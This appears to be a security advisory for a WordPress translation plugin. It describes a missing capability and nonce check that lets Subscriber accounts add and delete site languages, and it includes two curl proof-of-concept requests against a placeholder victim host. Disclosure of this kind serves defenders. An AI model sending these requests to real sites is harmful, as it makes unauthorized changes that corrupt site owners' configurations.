Ray Enterprise Translation <= 1.7.3 – Subscriber+ Language Addition and Deletion | CVE 2026-14549

Description

The plugin does not perform any capability or nonce checks on one of its AJAX actions, allowing any authenticated user, including Subscribers, to add or delete the site's configured languages.

Proof of Concept

Affected: Ray Enterprise Translation (lingotek-translation) <= 1.7.3. Prerequisites: any Subscriber-level account, and Polylang (the plugin's dependency) installed with at least two languages configured so the DELETE branch has a non-last, content-free language to remove.

Steps (reuse a Subscriber session cookie, e.g. from wp-login.php):

1. Add a language (POST branch):

   curl -k -X POST "https://victim.example/wp-admin/admin-ajax.php" -b sub.txt \
     -d "action=lingotek_language" -d "_method=POST" \
     -d "code=fr_FR" -d "native=Francais" -d "direction=LTR"

   Response: HTTP 200; the language appears in the site's language taxonomy.

2. Delete an administrator-configured language (DELETE branch). action and _method go in the query string because the handler reads the language code from the raw request body:

   curl -k -X POST "https://victim.example/wp-admin/admin-ajax.php?action=lingotek_language&_method=DELETE" \
     -b sub.txt -H "Content-Type: application/x-www-form-urlencoded" \
     --data-raw "code=es_ES"

   Response: HTTP 204; the language is removed.

Expected result: a Subscriber can add languages and delete administrator-configured languages, corrupting the multilingual configuration. A guard prevents deleting the last remaining language, and a language that already has content assigned cannot be deleted, which bounds the impact.